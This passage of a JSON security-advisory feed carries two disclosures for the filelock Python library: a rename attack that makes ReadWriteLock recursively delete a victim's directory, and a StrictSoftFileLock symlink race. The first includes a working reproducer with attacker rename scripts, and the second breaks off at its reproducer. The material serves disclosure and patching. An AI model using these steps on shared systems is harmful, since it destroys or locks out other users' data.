subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`.\n\nAnother local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route.\n\n## Scope and preconditions\n\n- The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user.\n- Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory.\n- Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/<n>` (`/dev/fd/<n>` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.\n- Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). The fifth is in [`_sweep_links_of_the_dead`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1032-L1051), with the name parser [`_owner_is_gone`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1054-L1065) and [`_link_prefix`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1068-L1071).\n\n## Introduced\n\nThe link directory moved beside the database in `015d27c` (\"fix(read-write): reject WAL databases and link beside the db (#805)\"), and the dead-owner sweep came with `df06bbd` (#815). Both were first released in **4.1.0** (verified: `git tag --contains` gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in `TMPDIR`). macOS takes the link route for every connection since `5fd0c8f` (#820), first released in **4.1.1** (verified).\n\n## Mechanism\n\nWhen the lock connects through its private hard link, it disposes of `.filelock-*` directories with `shutil.rmtree` on a path. Nothing ties that path to the directory filelock created. `mkdtemp` makes the name unpredictable and the directory `0700`. The name is in the parent's listing as soon as it exists (`ls -a`), and renaming it needs write permission on the parent only. `0700` keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.\n\n**On release.** A connection lives for one acquisition: `_open_for_acquisition` opens it and `release()` reaches `close` through `_release` and `_finish_connection`. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds `write_lock()` on `/tmp/shared-cache/cache.db`, the directory lists `.filelock-<pid>--<host digest>-<random>/` (`0700`, owned by the lock user, containing `lock.db`). The other user runs two renames: that directory to `moved-aside`, then `victim_project` (a `0700` directory of the lock user with `notes.txt` inside) onto the link directory's name. When the lock user leaves the `with` block, `rmtree` deletes `victim_project` and everything in it with the lock user's permissions, and the process exits with status 0. `moved-aside/lock.db`, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (`ReadWriteLock.__init__` opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.\n\n**In the dead-owner sweep.** `_link_beside` calls `_sweep_links_of_the_dead(parent)` once per process and parent directory before `mkdtemp`. The first connect of every process on the link route runs it, the validation connection included. It runs `rmtree` on every `.filelock-*` directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only `lock.db`. `_owner_is_gone` splits the name after `.filelock-` into `pid`, `start`, `digest` (a hash of the host name) and a suffix. It returns `digest == _host_digest(host) and owner_is_stale(pid, host, start or None)`.\n\nThe other user can forge every field. Take `.filelock-2147483647--<digest>-x`. `pid` is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so `process_alive` gets `ESRCH` from `os.kill(pid, 0)`; the PID of any exited process, such as a child the other user just reaped, passes as well. `start` is empty, which the parser accepts because `_link_prefix` writes an empty field when it has no start token; with no token and a dead PID `owner_is_stale` returns `True`. `digest` is `sha256(host_name())[:16]`. `host_name()` adds a PID-namespace tag only when `/proc/self/ns/pid` is readable, which it is not on macOS or without `/proc`, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.\n\nOne `rename(\"victim_project\", \".filelock-2147483647--<digest>-x\")` at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.\n\nThe sweep's `rmtree` has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where `shutil.rmtree` recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a `1777` directory, with 1500 nested subdirectories inside. The first `ReadWriteLock(...)` a lock user process on the link route constructs there raises `RecursionError`, which the `suppress(OSError)` at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-LSSZIUEO`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nshared = \"/tmp/shared-cache\"\nproject = f\"{shared}/victim_project\"\n\n# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when\n# /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.\nos.unshare(os.CLONE_NEWNS)\nsubprocess.run([\"mount\", \"--make-rprivate\", \"/\"], check=True)\nsubprocess.run([\"mount\", \"-t\", \"tmpfs\", \"tmpfs\", \"/proc\"], check=True)\n\n# set up: a shared directory without the sticky bit, holding the victim's private tree\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(project, 0o700)\nwith open(f\"{project}/notes.txt\", \"w\") as notes_file:\n    notes_file.write(\"victim data\\n\")\nshutil.chown(f\"{project}/notes.txt\", \"victim\", \"victim\")\nshutil.chown(project, \"victim\", \"victim\")\n\nrm = subprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", \"rm\", \"-rf\", project], capture_output=True, text=True)\nprint(\"attacker runs rm -rf on the victim's tree:\", rm.stderr.strip())\nassert os.path.exists(f\"{project}/notes.txt\"), \"setup: the attacker could delete the tree without filelock\"\n\n# the victim takes the write lock and stays in its critical section\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_hold_write_lock.py\"],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\nassert victim.stdout.readline() == \"holding the write lock\\n\", \"setup: the victim did not take the lock\"\nprint(\"while the victim holds the lock:\", sorted(os.listdir(shared)))\n\n# attack\nsubprocess.run([\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"/tmp/repro.d/attacker_swap_link_dir.py\"], check=True)\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nnotes = f\"{shared}/{link_dir}/notes.txt\"\nprint(\"after the attacker's renames:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\nassert os.path.exists(notes), \"setup: the attacker's renames did not happen\"\n\n# the victim leaves its with block\nvictim.communicate(\"\\n\", timeout=30)\nprint(\"victim exit status:\", victim.returncode)\nprint(\"after the release:\", sorted(os.listdir(shared)))\nprint(f\"{notes} exists:\", os.path.exists(notes))\n\n# check: releasing a lock must not delete the victim's files\nprint(\"BUG\" if not os.path.exists(notes) else \"OK\")\n```\n\n**`repro.d/attacker_swap_link_dir.py`**\n\n```python\nimport os\n\nshared = \"/tmp/shared-cache\"\n\n# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only\nlink_dir = next(name for name in os.listdir(shared) if name.startswith(\".filelock-\"))\nos.rename(f\"{shared}/{link_dir}\", f\"{shared}/moved-aside\")\nos.rename(f\"{shared}/victim_project\", f\"{shared}/{link_dir}\")\n```\n\n**`repro.d/victim_hold_write_lock.py`**\n\n```python\nimport sys\n\nfrom filelock import ReadWriteLock\n\nlock = ReadWriteLock(\"/tmp/shared-cache/cache.db\")\nwith lock.write_lock():\n    print(\"holding the write lock\", flush=True)\n    sys.stdin.readline()  # stands for the work the lock protects; it ends when repro sends a line\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user\n    participant V as lock user's process (link route)\n    participant K as filesystem (parent 0777, no sticky bit)\n    rect rgb(255, 214, 214)\n        Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc\n        V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db\n        V->>K: BEGIN EXCLUSIVE, write lock held\n        A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)\n        A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)\n        V->>K: release() calls shutil.rmtree(\".filelock-PID--DIGEST-XXXX\")\n        Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays\n        A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)\n        V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over `/proc` for itself and its children (the only non-default condition, standing in for macOS). It creates `/tmp/shared-cache` (`0777`, no sticky bit) with `victim_project/notes.txt` (`0700`, owned by `victim`), shows that `rm -rf` on that tree as `attacker` fails with `Permission denied`, runs the `victim` program (`ReadWriteLock(\"/tmp/shared-cache/cache.db\")` + `with lock.write_lock():`) and the `attacker` renames, then lets the `victim` program release. Expected output on the scanned commit:\n\n```\nattacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied\nwhile the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']\nafter the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True\nvictim exit status: 0\nafter the release: ['cache.db', 'moved-aside']\n/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False\nBUG\n```\n\nThe scanner showed the sweep variant by hand with the same setup and no lock held. As `attacker`, one rename of `victim_project` to `.filelock-2147483647--<digest>-x` with `<digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16]`, then `ReadWriteLock(\"/tmp/shared-cache/cache.db\")` as `victim` with `/proc` hidden. `notes.txt` is gone after the constructor returns and the directory contains only `cache.db`.\n\nOur verification: `BUG` on `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head: `OK`; the listing after the release is `['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside']`, `notes.txt exists: True`, and the `victim` program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the `descriptor_usable` branch and the identical code after it.\n\n## Impact\n\nThe other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two `rename` calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.\n\nIt is **not** reachable on stock Linux with `/proc` mounted at 4.2.0. The release variant is **not** reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived `.filelock-*` directory rather than the database, and the redirected operation is a recursive delete.\n\n## Workarounds\n\n- On macOS, and on any POSIX system where `/proc/self/fd` is unavailable, keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory.\n- Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.\n- On Linux with `/proc` mounted, 4.2.0 does not take the link route and needs no workaround for this finding.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-jqc4-5cvw-7w85"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112937"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/834"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112938","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-m462-7rxw-wvpg","CVE-2026-112938"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.6.0_2"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: StrictSoftFileLock follows a symbolic link swapped in at <path>.filelock and creates claim files in a directory another local user chooses","details":"`StrictSoftFileLock` and `AsyncStrictSoftFileLock` check `<path>.filelock` (the coordination directory that holds the lock's state) with one `lstat` call on its name. `lstat` reports what a name is without following a symbolic link (a file that redirects to another path). After that check, the code reaches `<path>.filelock/claims` by pathname for every later operation (`mkdir`, scan, publish, link, unlink). `_open_directory` passes `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link), but the flag covers only the final `claims` component. The kernel follows a symbolic link in any earlier component.\n\nAnother local user (the other user below) who can rename `<path>.filelock` exchanges it for a symbolic link after the check. In a shared directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it), any user with write access can do this. Where the shared directory is sticky, such as `/tmp`, only the user who created `<path>.filelock` before the user running the lock (the lock user below) first used it can. The lock user's process (root's, if root takes the lock) then creates a `claims` directory and claim files (the files whose presence says a process wants or holds the lock) inside a directory the other user chooses but only the lock user can write.\n\nWhen the link points at another strict lock's `.filelock` directory, the stranded claims make that lock time out for every process until an operator finds and force-breaks each one. The `claims` property and `force_break()` resolve the same path with no check at all. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-SVFEYX89`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H, 5.8 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the swap must land between the `lstat` and the next `mkdir`. The other user does not aim at that window. It flips the name in a loop with `renameat2(RENAME_EXCHANGE)` (a system call that swaps two names in one step) across repeated acquires, and won after 1 to 31 runs of the lock user's program in the scanner's trials. A sticky directory also requires it to have created `<path>.filelock` first. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own.\n\n`C:L` (low confidentiality impact): through `claims`, one file name per planted link from a directory only the lock user can list. `I:L` (low integrity impact): a directory named `claims` and files with filelock's fixed claim names and contents appear, created with the lock user's privileges, in a directory the other user chooses but cannot write. The process overwrites or truncates nothing that exists. `A:H` (high availability impact): aimed at another strict lock of the lock user, the stranded claims deny that lock to every process until an operator finds and force-breaks each one. Classification from the review: security, conditional on the other user being able to rename the intermediate component. The scanner rated it high (CWE-363).\n\n## Scope and preconditions\n\n- The other user can rename `<path>.filelock`. In a writable directory without the sticky bit (a `0777` or group-writable project or cache directory), any user with write permission on the directory can, even though the lock user created and owns `<path>.filelock`. In a sticky directory such as `/tmp`, only the user who created `<path>.filelock` before the lock user's first use can, because that user then owns both the directory and the symbolic link (the planting precondition of GHSA-9c4x-gm8v-wgc4).\n- The link's target is a directory the lock user can write. The effect that matters is on that directory. An acquire that completes through the link also holds the shared lock with its claims elsewhere, but a user who can rename `<path>.filelock` can defeat that lock's exclusion anyway.\n- `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not interfere. The link is an intermediate path component, not the last one. In the sticky-directory case it also sits in a directory the other user owns.\n- Missed attempts show up to the lock user as `SoftFileLockProtocolError` or `FileNotFoundError`. The swap therefore works against a lock that a program takes more than once: a periodic job, a worker pool, or a caller that retries or waits with a timeout (each poll of a waiting acquisition is a new attempt).\n- The two entry points that need no race (`claims` and `force_break()` on a resting symbolic link) depend on the lock user inspecting or recovering the lock. The planted link invites this by making `acquire()` fail with a protocol error. The `force_break()` variant works only when the lock user breaks claims that name a live process on its own host without checking them first, as the recovery loop in `docs/tutorials.rst` does. `docs/how-to.rst` tells the operator to verify that the named owner is gone before breaking.\n- Platform: POSIX, demonstrated on Linux (tmpfs and overlayfs). Windows has no `dir_fd` (file operations relative to an open directory handle), and on Windows the documented requirement is a lock directory that untrusted users cannot write.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the check and the first use are adjacent lines of [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L123-L128). There, [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) runs `lstat` on `<path>.filelock` and then `mkdir` on `<path>.filelock/claims`. [`_open_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L950-L954) passes `O_DIRECTORY | O_NOFOLLOW` but receives the full `<path>.filelock/claims`. The claim scan goes by pathname in [`_read_existing_claims`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L509-L514) (`directory.exists()`) and [`_list_claim_names`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L433-L439) (`os.scandir(directory)`). So do [`_publish_record`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L572-L596), [`_link_no_replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L864-L881), [`_unlink_in_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L912-L939) and the clock probe in [`_filesystem_now`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L745-L763). The [`claims` property](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L235-L239) and [`force_break()`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L260-L267) take the directory from [`_claim_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L314-L318) by string concatenation, and [`_require_exact_name`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L1016-L1019) confirms the name with a by-name `os.scandir`.\n\n## Introduced\n\nThe by-name claim directory came with 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. One effect is newer. The clock-probe files that a swap at `claims` leaves behind need `_filesystem_now`, added in 508d0548538f (\"fix(strict): age private records by the filesystem clock\", #792, 2026-10-07), first released in 4.1.0. Before that commit a claim scan created nothing. We checked both against the git tags.\n\n## Mechanism\n\nOn the benign path, `_ensure_protocol_directory(coordination_directory)` finds `<path>.filelock` to be a real directory, and `_ensure_protocol_directory(claim_directory)` finds `claims` inside it. The doorway (the acquire step that scans existing claims and publishes the caller's own) then publishes into it. A symbolic link resting at `<path>.filelock` stops at the first call with \"is not a real directory\". That answer describes the name at that instant only; nothing carries it forward. With the name exchanged for a link to a directory `T` between the two calls:\n\n- The second call runs `mkdir(\"<path>.filelock/claims\")`, which creates `T/claims` with the lock user's credentials. The `mkdir` succeeds, so `_ensure_protocol_directory` returns without looking at anything.\n- `_attempt_doorway` then works in `T/claims` for as long as the name still points there. `_read_existing_claims` uses `directory.exists()` and `os.scandir(directory)`. `_publish_record` opens the claim directory by its full path and creates `.intent-v1-<token>.claim.private-v1-<hex>.tmp` and `intent-v1-<token>.claim` (the intent claim, which announces a pending acquire) in it. When its intent wins the scan, `_link_no_replace` adds `held-v1-<token>.claim` (the held claim, which marks the lock as taken). `_open_directory` does pass `O_DIRECTORY | O_NOFOLLOW`, but on `\"<path>.filelock/claims\"`, so the flag covers `claims` only.\n- Cleanup resolves the name again. `_unlink_in_directory` opens `<path>.filelock/claims` by path. When the name is back at the real directory by then, the `unlink` gets `ENOENT` (the \"no such file\" error), which `_unlink_owner_path_result` counts as removed. The claim file stays in `T/claims`.\n\nWhen `T/claims` already exists, the `mkdir` takes the `FileExistsError` branch, `lstat` sees a real directory, and the same scan and publication run on the existing directory. With `T/claims` holding a file `secret-name.txt` and an old `.held-v1-<hex>.claim.private-v1-<hex>.tmp`, the lock user's process raises `SoftFileLockProtocolError: … claim 'secret-name.txt': unknown claim name or protocol version`. `_reclaim_private_record` unlinks the private-record file. `intent-*.claim` files and a clock-probe file from `_filesystem_now` stay behind.\n\nThe window is a few lines of Python between two system calls, but the other user does not aim at it. `renameat2` with `RENAME_EXCHANGE` flips the name in a loop, so each system call of the lock user sees the directory or the link more or less at random. An attempt that sees the link at the `lstat` raises `SoftFileLockProtocolError`. One that sees the directory there and the link at the next `mkdir` is a hit. Four other ways reach the same by-name resolution. The scanner observed each of them at the same commit, with `victim` and `attacker` as separate accounts and default lock options.\n\nThe first way strands claims in another strict lock. With the swapped-in link pointing at the coordination directory of a second lock of the lock user (`/home/victim/private/db.lock.filelock`, parent mode `0700`), 200 acquires of the shared lock left 7 to 17 well-formed `intent-v1-*.claim` and `held-v1-*.claim` files in the second lock's `claims`. No process holds that lock, yet `StrictSoftFileLock(\"/home/victim/private/db.lock\", timeout=1)` raises `Timeout` from then on, until an operator force-breaks each stranded claim.\n\nThe second way swaps one component lower, at `claims`. The claim scan does not use a descriptor (an open handle that stays bound to one directory whatever its name later points to). `os.scandir(directory)`, the record reads, `_reclaim_private_record` (called with its descriptor slot set to `None`) and the clock probe in `_filesystem_now` (`os.open(directory / name, O_CREAT | O_EXCL | O_NOFOLLOW)` followed by `probe.unlink()`) all go by pathname. For a sticky directory, the other user needs to have created `<path>.filelock` first. It then puts a real `claims` directory (mode `1777`) in it with one empty file named `.held-v1-<32 zeros>.claim.private-v1-<32 zeros>.tmp`, so that every scan calls the probe, and exchanges `claims` with a link in a loop.\n\nAfter 200 acquires by the lock user, 14 to 42 one-byte, mode `0600`, lock-user-owned files named `.held-v1-<hex>.claim.private-v1-<hex>.tmp` are in the `0700` directory the link points to. The probe open went through the link, and the pathname `unlink` ran after `claims` was a directory again and got `ENOENT`. A swap at this level does not affect publication or release, because there `_open_directory`'s `O_NOFOLLOW` does cover `claims`.\n\nThe third way is `claims` with no race. The property calls `_read_existing_claims` on an instance that did not go through `_acquire`, and `directory.exists()` and `os.scandir(directory)` both follow a link. After the other user runs `mkdir /tmp/work.lock.filelock; ln -s /home/victim/private /tmp/work.lock.filelock/claims`, `acquire()` refuses with \"is not a real directory\". The inspection loop from `docs/how-to.rst` (`for claim in lock.claims: ...`) raises `SoftFileLockProtocolError: … claim 'customer-1123f274.db': unknown claim name or protocol version`. That names the first non-hidden entry, in sort order, of a directory the other user cannot list. A missing or empty target returns `()`, a non-directory gives \"Not a directory\" and an unreadable directory \"Permission denied\", so the call also tells those apart.\n\nThe fourth way is `force_break()` with no race. It confirms the name with a by-name `os.scandir` in `_require_exact_name` and unlinks through `_unlink_in_directory`, where `O_NOFOLLOW` again covers `claims` only. After the other user's one command `ln -s /home/victim/private/db.lock.filelock /tmp/service.lock.filelock`, the recovery loop from `docs/tutorials.rst` run by the lock user on `/tmp/service.lock` (`for claim in stale.claims: stale.force_break(claim.name)`) lists and removes the `held` and `intent` claims of the live holder of `/home/victim/private/db.lock`. A second process then acquires that lock while the first is still in its critical section with `is_locked == True`. The first holder's `release()` later finds its claims gone, counts `ENOENT` as removed and returns without error. Only a directory named `claims` below the link's target is reachable, so the targets are other strict locks, not arbitrary files.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SVFEYX89`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport collections\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\nvictim_job = [sys.executable, 